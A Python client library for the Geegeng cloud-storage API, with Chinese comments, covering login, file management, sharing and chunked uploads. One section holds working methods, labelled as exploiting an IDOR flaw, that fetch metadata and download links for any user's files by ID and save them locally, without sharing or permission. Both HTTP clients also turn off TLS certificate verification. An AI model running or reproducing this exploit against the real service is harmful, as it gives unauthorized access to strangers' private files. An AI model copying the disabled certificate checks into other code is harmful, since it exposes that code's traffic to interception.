"""
Geegeng API 客户端核心模块
"""

from __future__ import annotations

import base64
import hashlib
import os
import time
import uuid
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
from threading import Lock
from typing import Any, Optional, Callable, BinaryIO
from dataclasses import dataclass

try:
    import httpx
except ImportError:
    raise ImportError("请安装 httpx: pip install httpx")


# 默认配置
DEFAULT_BASE_URL = "https://www.geegeng.com"
DEFAULT_TIMEOUT = 30.0


@dataclass
class GeegengException(Exception):
    """Geegeng 异常基类"""
    code: int
    message: str
    
    def __str__(self):
        return f"[{self.code}] {self.message}"


class GeegengAuthError(GeegengException):
    """认证错误"""
    pass


class GeegengAPIError(GeegengException):
    """API 调用错误"""
    pass


class GeegengClient:
    """Geegeng 客户端
    
    提供 Geegeng 的 API 访问功能，包括登录、文件管理、用户信息等。
    
    Attributes:
        phone: 登录手机号
        password: 登录密码
        base_url: API 基础 URL
        token: 访问令牌（登录后自动设置）
    """
    
    def __init__(
        self,
        phone: str = "",
        password: str = "",
        token: Optional[str] = None,
        base_url: str = DEFAULT_BASE_URL,
        timeout: float = DEFAULT_TIMEOUT,
    ):
        """初始化客户端
        
        Args:
            phone: 登录手机号
            password: 登录密码
            token: 已有的访问令牌（可选，如果提供则跳过登录）
            base_url: API 基础 URL
            timeout: 请求超时时间（秒）
        """
        self.phone = phone
        self.password = password
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self._token: Optional[str] = token
        self._access_token: Optional[str] = None
        self._client: Optional[httpx.Client] = None
    
    @property
    def token(self) -> Optional[str]:
        """获取当前访问令牌"""
        return self._token
    
    @token.setter
    def token(self, value: str):
        """设置访问令牌"""
        self._token = value
    
    @property
    def client(self) -> httpx.Client:
        """获取 HTTP 客户端（懒加载）"""
        if self._client is None:
            self._client = httpx.Client(
                base_url=self.base_url,
                timeout=self.timeout,
                headers={
                    "Content-Type": "application/json",
                    "Accept": "application/json",
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
                },
                verify=False,  # 某些环境可能需要
            )
        return self._client
    
    def _get_headers(self) -> dict[str, str]:
        """获取请求头（包含认证信息）"""
        headers = {}
        if self._token:
            headers["Authorization"] = f"Bearer {self._token}"
        return headers
    
    def _request(
        self,
        method: str,
        endpoint: str,
        params: Optional[dict] = None,
        json: Optional[dict] = None,
        **kwargs,
    ) -> dict[str, Any]:
        """发送 HTTP 请求
        
        Args:
            method: HTTP 方法（GET, POST 等）
            endpoint: API 端点（如 /api/base/login）
            params: URL 查询参数
            json: JSON 请求体
            **kwargs: 其他 httpx 请求参数
            
        Returns:
            API 响应的 JSON 数据
            
        Raises:
            GeegengAPIError: API 调用失败
            GeegengAuthError: 认证失败
        """
        headers = self._get_headers()
        if "headers" in kwargs:
            headers.update(kwargs.pop("headers"))
        
        response = self.client.request(
            method=method,
            url=endpoint,
            params=params,
            json=json,
            headers=headers,
            **kwargs,
        )
        
        try:
            data = response.json()
        except Exception:
            raise GeegengAPIError(
                code=response.status_code,
                message=f"无法解析响应: {response.text[:200]}"
            )
        
        # 检查响应状态
        code = data.get("code", -1)
        msg = data.get("msg", data.get("message", "未知错误"))
        
        # code=0 或 msg="success" 都视为成功
        if code != 0 and msg.lower() != "success":
            if code == 401 or "token" in msg.lower() or "登录" in msg:
                raise GeegengAuthError(code=code, message=msg)
            raise GeegengAPIError(code=code, message=msg)
        
        return data
    
    def _get(self, endpoint: str, params: Optional[dict] = None, **kwargs) -> dict:
        """发送 GET 请求"""
        return self._request("GET", endpoint, params=params, **kwargs)
    
    def _post(self, endpoint: str, json: Optional[dict] = None, **kwargs) -> dict:
        """发送 POST 请求"""
        return self._request("POST", endpoint, json=json, **kwargs)
    
    # ==================== 认证相关 ====================
    
    def login(
        self,
        phone: Optional[str] = None,
        password: Optional[str] = None,
        captcha: str = "",
    ) -> dict[str, Any]:
        """登录 Geegeng
        
        Args:
            phone: 手机号（可选，默认使用初始化时的手机号）
            password: 密码（可选，默认使用初始化时的密码）
            captcha: 验证码（如需要）
            
        Returns:
            登录响应数据，包含 token 信息
            
        Raises:
            GeegengAuthError: 登录失败
        """
        phone = phone or self.phone
        password = password or self.password
        
        if not phone or not password:
            raise ValueError("手机号和密码不能为空")
        
        resp = self._post("/api/base/login", json={
            "phone": phone,
            "password": password,
            "captcha": captcha,
        })
        
        data = resp.get("data", {})
        self._token = data.get("token")
        self._access_token = data.get("accessToken")
        
        # 更新凭据
        self.phone = phone
        self.password = password
        
        return resp
    
    def check_login_status(self) -> dict[str, Any]:
        """检查登录状态
        
        Returns:
            登录状态信息
        """
        return self._get("/api/base/loginStatus")
    
    def logout(self) -> None:
        """登出并清除令牌"""
        self._token = None
        self._access_token = None
    
    # ==================== 用户信息 ====================
    
    def get_user_info(self) -> dict[str, Any]:
        """获取用户信息
        
        Returns:
            用户信息，包含存储配额等
        """
        return self._get("/api/user/getUserInfo")
    
    # ==================== 文件管理 ====================
    
    def list_files(
        self,
        parent_id: int = -1,
        page: int = 1,
        page_size: int = 50,
    ) -> dict[str, Any]:
        """获取文件列表
        
        Args:
            parent_id: 父目录 ID（-1 表示根目录）
            page: 页码（从 1 开始）
            page_size: 每页数量
            
        Returns:
            文件列表数据
        """
        return self._get("/api/files/getFilesList", params={
            "parentId": parent_id,
            "page": page,
            "pageSize": page_size,
            "t": int(time.time() * 1000),  # 时间戳防缓存
        })
    
    def get_file_info(self, file_id: str) -> dict[str, Any]:
        """获取文件详情
        
        Args:
            file_id: 文件 ID
            
        Returns:
            文件详细信息
        """
        return self._get("/api/files/getFileInfo", params={"fid": file_id})
    
    def create_folder(
        self,
        name: str,
        parent_id: int = -1,
    ) -> dict[str, Any]:
        """创建文件夹
        
        Args:
            name: 文件夹名称
            parent_id: 父目录 ID（-1 表示根目录）
            
        Returns:
            创建结果
        """
        return self._post("/api/files/createFolder", json={
            "name": name,
            "parentId": parent_id,
        })
    
    def delete_files(self, file_ids: list[str]) -> dict[str, Any]:
        """批量删除文件/文件夹
        
        Args:
            file_ids: 要删除的文件/文件夹 ID 列表
            
        Returns:
            删除结果
        """
        return self._post("/api/files/deleteFilesByIds", json={
            "ids": file_ids,
        })
    
    def get_download_url(self, file_id: str) -> str:
        """获取文件下载链接
        
        Args:
            file_id: 文件 ID
            
        Returns:
            下载 URL
        """
        resp = self._post("/api/files/downFile", json={"id": file_id})
        return resp.get("data", {}).get("url", "")
    
    def search_files(
        self,
        keyword: str,
        page: int = 1,
        page_size: int = 50,
    ) -> dict[str, Any]:
        """搜索文件
        
        注意：搜索功能通过 getFilesList 接口的 name 参数实现
        
        Args:
            keyword: 搜索关键词
            page: 页码
            page_size: 每页数量
            
        Returns:
            搜索结果
        """
        return self._get("/api/files/getFilesList", params={
            "parentId": -1,  # 全局搜索
            "page": page,
            "pageSize": page_size,
            "name": keyword,  # 搜索关键词
            "t": int(time.time() * 1000),
        })
    
    # ==================== 文件分享 ====================
    
    def create_share(
        self,
        file_ids: list[str | int],
        name: str = "",
        permanent: bool = True,
        extract_code: str = "",
    ) -> dict[str, Any]:
        """创建分享链接
        
        Args:
            file_ids: 要分享的文件 ID 列表
            name: 分享名称（可选，默认使用第一个文件名）
            permanent: 是否永久有效
            extract_code: 提取码（空字符串表示无密码）
            
        Returns:
            分享结果，包含 shareUrls 分享链接列表
        """
        return self._post("/api/files/createShare", json={
            "fileIds": [str(fid) for fid in file_ids],
            "expireTime": 999 if permanent else 7,  # 999=永久, 7=7天
            "isPass": 1 if extract_code else 0,
            "sharePass": extract_code,
            "name": name,
        })
    
    def get_share_info(
        self,
        share_code: str,
        extract_code: str = "",
    ) -> dict[str, Any]:
        """获取分享信息
        
        Args:
            share_code: 分享 ID（链接中 /s/ 后面的部分）
            extract_code: 提取码（如果有）
            
        Returns:
            分享信息，包含创建者、过期时间等
        """
        return self._post("/api/s/getShareInfo", json={
            "code": share_code,
            "pass": extract_code,
            "page": 1,
            "pageSize": 50,
        })
    
    def list_share_files(
        self,
        share_code: str,
        folder_id: str = "0",
        extract_code: str = "",
        page: int = 1,
        page_size: int = 50,
    ) -> dict[str, Any]:
        """列出分享中的文件
        
        Args:
            share_code: 分享 ID
            folder_id: 文件夹 ID（"0" 表示根目录）
            extract_code: 提取码（如果有）
            page: 页码
            page_size: 每页数量
            
        Returns:
            分享文件列表
        """
        return self._post("/api/s/listShareFiles", json={
            "code": share_code,
            "fid": folder_id,
            "pass": extract_code,
            "page": page,
            "pageSize": page_size,
        })
    
    def get_share_download_url(
        self,
        share_code: str,
        file_id: str | int,
    ) -> str:
        """获取分享文件的下载链接
        
        这是实现跨账号获取下载链接的核心方法。
        账号 A 可以通过分享链接获取账号 B 文件的下载地址。
        
        Args:
            share_code: 分享 ID
            file_id: 文件 ID
            
        Returns:
            下载 URL
        """
        resp = self._post("/api/s/getShareDownUrl2", json={
            "code": share_code,
            "fid": str(file_id),
        })
        return resp.get("data", {}).get("url", "")
    
    # ==================== 跨账号文件访问 (IDOR 漏洞) ====================
    
    def get_any_file_info(self, file_id: str | int) -> dict[str, Any]:
        """获取任意文件信息（利用 IDOR 漏洞）
        
        ⚠️ 安全警告：这是一个利用系统漏洞的方法。
        通过此方法，任意登录用户可以获取其他用户文件的信息和视频链接，
        无需分享即可实现跨账号访问。
        
        Args:
            file_id: 目标文件 ID（可以是其他账号的文件）
            
        Returns:
            文件信息，包含：
            - ID: 文件 ID
            - name: 文件名
            - size: 文件大小
            - video: 视频播放/下载链接（如果是视频文件）
            
        漏洞说明：
            /api/files/getFileInfo 端点未验证用户是否拥有该文件的访问权限，
            只要知道文件 ID 就可以获取文件信息和下载链接。
        """
        return self._get("/api/files/getFileInfo", params={
            "fid": str(file_id),
        })
    
    def get_any_file_video_url(self, file_id: str | int) -> str:
        """获取任意文件的视频/下载链接（利用 IDOR 漏洞）
        
        这是 get_any_file_info 的便捷封装，直接返回视频链接。
        
        Args:
            file_id: 目标文件 ID
            
        Returns:
            视频/下载 URL（可直接用于播放或下载）
        """
        info = self.get_any_file_info(file_id)
        return info.get("data", {}).get("video", "")
    
    def download_file(
        self,
        url: str,
        save_path: str | Path,
        filename: Optional[str] = None,
        progress_callback: Optional[Callable[[int, int], None]] = None,
    ) -> Path:
        """下载文件（单连接流式下载）
        
        Args:
            url: 下载链接
            save_path: 保存目录
            filename: 保存文件名（可选，默认从 URL 提取）
            progress_callback: 进度回调函数 (已下载字节, 总字节)
            
        Returns:
            保存的文件路径
        """
        import httpx
        from urllib.parse import unquote_plus
        
        save_path = Path(save_path)
        save_path.mkdir(parents=True, exist_ok=True)
        
        # 获取文件名
        if not filename:
            url_path = url.split("?")[0]
            filename = unquote_plus(url_path.split("/")[-1])
        
        file_path = save_path / filename
        
        # 流式下载
        downloaded_bytes = 0
        with httpx.Client(
            timeout=600.0,
            follow_redirects=True,
            verify=False,
        ) as client:
            with client.stream("GET", url) as resp:
                if resp.status_code not in (200, 206):
                    raise GeegengAPIError(
                        code=-1,
                        message=f"下载失败: HTTP {resp.status_code}",
                    )
                
                total_size = int(resp.headers.get("content-length", 0))
                
                with open(file_path, "wb") as f:
                    for chunk in resp.iter_bytes(chunk_size=1024 * 1024):  # 1MB 缓冲
                        f.write(chunk)
                        downloaded_bytes += len(chunk)
                        if progress_callback and total_size:
                            progress_callback(downloaded_bytes, total_size)
        
        return file_path
    
    def download_any_file(
        self,
        file_id: str | int,
        save_path: str | Path,
        progress_callback: Optional[Callable[[int, int], None]] = None,
    ) -> Path:
        """通过文件 ID 下载任意账号的文件（利用 IDOR 漏洞）
        
        Args:
            file_id: 目标文件 ID
            save_path: 保存目录
            progress_callback: 进度回调函数 (已下载字节, 总字节)
            
        Returns:
            保存的文件路径
        """
        # 获取文件信息
        info = self.get_any_file_info(file_id)
        if info.get("code") != 0:
            raise GeegengAPIError(
                code=info.get("code", -1),
                message=info.get("msg", "获取文件信息失败")
            )
        
        data = info.get("data", {})
        url = data.get("video", "")
        filename = data.get("name", "")
        
        if not url:
            raise GeegengAPIError(code=-1, message="无法获取下载链接")
        
        return self.download_file(
            url=url,
            save_path=save_path,
            filename=filename,
            progress_callback=progress_callback,
        )
    
    # ==================== 文件上传 ====================
    
    @staticmethod
    def calculate_file_md5(
        file_path: str | Path,
        chunk_size: int = 8192,
        progress_callback: Optional[Callable[[int, int], None]] = None,
    ) -> str:
        """计算文件的 MD5 值
        
        Args:
            file_path: 文件路径
            chunk_size: 读取块大小
            progress_callback: 进度回调函数 (已读取字节, 总字节)
            
        Returns:
            文件的 MD5 十六进制字符串
        """
        file_path = Path(file_path)
        file_size = file_path.stat().st_size
        md5_hash = hashlib.md5()
        bytes_read = 0
        
        with open(file_path, "rb") as f:
            while chunk := f.read(chunk_size):
                md5_hash.update(chunk)
                bytes_read += len(chunk)
                if progress_callback:
                    progress_callback(bytes_read, file_size)
        
        return md5_hash.hexdigest()
    
    def rapid_upload_check(
        self,
        filename: str,
        file_size: int,
        file_md5: str,
        parent_id: int = -1,
    ) -> dict[str, Any]:
        """检查是否可以秒传
        
        Args:
            filename: 文件名
            file_size: 文件大小（字节）
            file_md5: 文件 MD5 值
            parent_id: 父目录 ID（-1 表示根目录）
            
        Returns:
            秒传检查结果，包含：
            - uploadStatus: True 表示秒传成功，False 表示需要上传
            - 如需上传：包含 fid, sign, uploadUrl 等信息
        """
        return self._get("/api/files/findFile", params={
            "name": filename,
            "md5": file_md5,
            "path": filename,
            "size": file_size,
            "parentId": parent_id,
            "t": str(uuid.uuid4()),
        })
    
    def upload_file(
        self,
        file_path: str | Path,
        parent_id: int = -1,
        filename: Optional[str] = None,
        progress_callback: Optional[Callable[[str, int, int], None]] = None,
    ) -> dict[str, Any]:
        """上传文件（支持秒传）
        
        Args:
            file_path: 本地文件路径
            parent_id: 父目录 ID（-1 表示根目录）
            filename: 上传后的文件名（可选，默认使用原文件名）
            progress_callback: 进度回调函数 (阶段, 当前进度, 总进度)
                阶段包括: "md5", "check", "upload", "complete"
            
        Returns:
            上传结果，包含文件信息
            
        Raises:
            FileNotFoundError: 文件不存在
            GeegengAPIError: 上传失败
        """
        file_path = Path(file_path)
        if not file_path.exists():
            raise FileNotFoundError(f"文件不存在: {file_path}")
        
        filename = filename or file_path.name
        file_size = file_path.stat().st_size
        
        # 阶段 1: 计算 MD5
        if progress_callback:
            progress_callback("md5", 0, file_size)
        
        def md5_progress(read_bytes, total_bytes):
            if progress_callback:
                progress_callback("md5", read_bytes, total_bytes)
        
        file_md5 = self.calculate_file_md5(file_path, progress_callback=md5_progress)
        
        # 阶段 2: 秒传检查
        if progress_callback:
            progress_callback("check", 0, 1)
        
        check_resp = self.rapid_upload_check(
            filename=filename,
            file_size=file_size,
            file_md5=file_md5,
            parent_id=parent_id,
        )
        
        file_data = check_resp.get("data", {}).get("file", {})
        
        # 秒传成功
        if file_data.get("uploadStatus") is True:
            if progress_callback:
                progress_callback("complete", file_size, file_size)
            return {
                "code": 0,
                "msg": "秒传成功",
                "data": {
                    "rapid_upload": True,
                    "file": file_data,
                }
            }
        
        # 阶段 3: 需要真实上传
        if progress_callback:
            progress_callback("upload", 0, file_size)
        
        # 获取上传所需参数
        fid = file_data.get("fid") or file_data.get("ID")
        sign = file_data.get("sign", "")
        upload_url_base = file_data.get("uploadUrl", "https://upload3.abcdn.com.cn")
        
        if not fid:
            raise GeegengAPIError(code=-1, message="无法获取文件 ID")
        
        # 计算 salt
        salt = hashlib.md5(f"{fid}{sign}".encode()).hexdigest()
        
        # 获取用户 ID
        user_info = self.get_user_info()
        uid = user_info.get("data", {}).get("userInfo", {}).get("ID", "")
        
        # 初始化上传
        init_resp = self._init_multi_upload(
            upload_url=upload_url_base,
            filename=filename,
            file_size=file_size,
            file_md5=file_md5,
            fid=str(fid),
            sign=sign,
            salt=salt,
            uid=str(uid),
        )
        
        upload_id = init_resp.get("data", {}).get("uploadId", "")
        server_filename = init_resp.get("data", {}).get("fileName", "")
        if not upload_id:
            raise GeegengAPIError(code=-1, message="无法获取上传 ID")
        if not server_filename:
            raise GeegengAPIError(code=-1, message="无法获取服务器文件名")
        
        # 获取上传 URLs（分片上传）
        # 分片大小：50MB
        CHUNK_SIZE = 50 * 1024 * 1024
        chunks = []
        offset = 0
        part_number = 1
        
        while offset < file_size:
            chunk_end = min(offset + CHUNK_SIZE, file_size)
            chunk_size = chunk_end - offset
            
            # 计算每个分片的 MD5
            with open(file_path, "rb") as f:
                f.seek(offset)
                chunk_data = f.read(chunk_size)
                chunk_md5 = hashlib.md5(chunk_data).hexdigest()
            
            chunks.append({
                "part_number": part_number,
                "offset": offset,
                "size": chunk_size,
                "md5": chunk_md5,
            })
            offset = chunk_end
            part_number += 1
        
        # 构建 partsInfo：所有分片信息用逗号分隔
        parts_info_list = [f"{c['part_number']}-{c['md5'].upper()}" for c in chunks]
        parts_info_raw = ",".join(parts_info_list)
        parts_info = base64.b64encode(parts_info_raw.encode()).decode()
        
        # 获取所有分片的上传 URL
        urls_resp = self._get_upload_urls_raw(
            upload_url=upload_url_base,
            server_filename=server_filename,
            upload_id=upload_id,
            parts_info=parts_info,
        )
        
        upload_urls = urls_resp.get("data", {}).get("uploadUrls", {})
        if not upload_urls:
            raise GeegengAPIError(code=-1, message="无法获取上传地址")
        
        # 多线程并发上传
        bytes_uploaded = [0]  # 用列表包装以便在闭包中修改
        upload_lock = Lock()
        upload_errors = []
        
        def upload_chunk(chunk):
            """上传单个分片"""
            part_key = f"partNumber_{chunk['part_number']}"
            part_info = upload_urls.get(part_key, {})
            request_url = part_info.get("requestUrl", "")
            
            if not request_url:
                return (False, chunk['part_number'], "无法获取上传地址")
            
            # 拼接完整 URL
            if request_url.startswith("/"):
                request_url = f"{upload_url_base}{request_url}"
            
            # 读取分片数据
            with open(file_path, "rb") as f:
                f.seek(chunk["offset"])
                chunk_data = f.read(chunk["size"])
            
            try:
                # 上传分片
                upload_response = httpx.put(
                    request_url,
                    content=chunk_data,
                    timeout=600.0,
                )
                
                if upload_response.status_code not in (200, 201, 204):
                    return (False, chunk['part_number'], upload_response.text[:200])
                
                # 更新进度（线程安全）
                with upload_lock:
                    bytes_uploaded[0] += chunk["size"]
                    if progress_callback:
                        progress_callback("upload", bytes_uploaded[0], file_size)
                
                return (True, chunk['part_number'], None)
            except Exception as e:
                return (False, chunk['part_number'], str(e))
        
        # 使用线程池并发上传（4个并发线程）
        MAX_WORKERS = 4
        with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            futures = {executor.submit(upload_chunk, chunk): chunk for chunk in chunks}
            
            for future in as_completed(futures):
                success, part_num, error = future.result()
                if not success:
                    upload_errors.append(f"分片 {part_num}: {error}")
        
        if upload_errors:
            raise GeegengAPIError(
                code=-1,
                message=f"上传失败: {'; '.join(upload_errors[:3])}"
            )
        
        # 提交上传
        commit_resp = self._commit_upload(
            upload_url=upload_url_base,
            server_filename=server_filename,
            upload_id=upload_id,
        )
        
        if progress_callback:
            progress_callback("complete", file_size, file_size)
        
        return {
            "code": 0,
            "msg": "上传成功",
            "data": {
                "rapid_upload": False,
                "commit": commit_resp,
            }
        }
    
    def _init_multi_upload(
        self,
        upload_url: str,
        filename: str,
        file_size: int,
        file_md5: str,
        fid: str,
        sign: str,
        salt: str,
        uid: str,
    ) -> dict:
        """初始化分片上传"""
        response = httpx.post(
            f"{upload_url}/initMultiUpload",
            data={
                "name": filename,
                "size": str(file_size),
                "md5": file_md5,
                "sign": sign,
                "fid": fid,
                "uid": uid,
                "salt": salt,
            },
            timeout=30.0,
        )
        return response.json()
    
    def _get_upload_urls(
        self,
        upload_url: str,
        server_filename: str,
        upload_id: str,
        file_md5: str,
    ) -> dict:
        """获取分片上传 URL"""
        # partsInfo 格式：Base64(partNumber-MD5_UPPERCASE)
        parts_info_raw = f"1-{file_md5.upper()}"
        parts_info = base64.b64encode(parts_info_raw.encode()).decode()
        
        response = httpx.get(
            f"{upload_url}/getMultiUploadUrls",
            params={
                "fileName": server_filename,
                "uploadId": upload_id,
                "partsInfo": parts_info,
            },
            timeout=30.0,
        )
        return response.json()
    
    def _get_upload_urls_raw(
        self,
        upload_url: str,
        server_filename: str,
        upload_id: str,
        parts_info: str,
    ) -> dict:
        """获取分片上传 URL（直接使用预编码的 partsInfo）"""
        response = httpx.get(
            f"{upload_url}/getMultiUploadUrls",
            params={
                "fileName": server_filename,
                "uploadId": upload_id,
                "partsInfo": parts_info,
            },
            timeout=60.0,
        )
        return response.json()
    
    def _commit_upload(
        self,
        upload_url: str,
        server_filename: str,
        upload_id: str,
    ) -> dict:
        """提交上传完成"""
        response = httpx.post(
            f"{upload_url}/commitMultiUploadFile",
            data={
                "fileName": server_filename,
                "uploadId": upload_id,
            },
            timeout=30.0,
        )
        return response.json()
    
    # ==================== 上下文管理 ====================
    
    def close(self) -> None:
        """关闭客户端连接"""
        if self._client:
            self._client.close()
            self._client = None
    
    def __enter__(self):
        return self
    
    def __exit__(self, exc_type, exc_val, exc_tb):
        self.close()
    
    def __repr__(self) -> str:
        return f"GeegengClient(phone={self.phone!r}, base_url={self.base_url!r})"


# 便捷函数
def create_client(
    phone: str,
    password: str,
    auto_login: bool = True,
    **kwargs,
) -> GeegengClient:
    """创建并登录客户端
    
    Args:
        phone: 手机号
        password: 密码
        auto_login: 是否自动登录
        **kwargs: 传递给 GeegengClient 的其他参数
        
    Returns:
        已登录的客户端实例
    """
    client = GeegengClient(phone=phone, password=password, **kwargs)
    if auto_login:
        client.login()
    return client
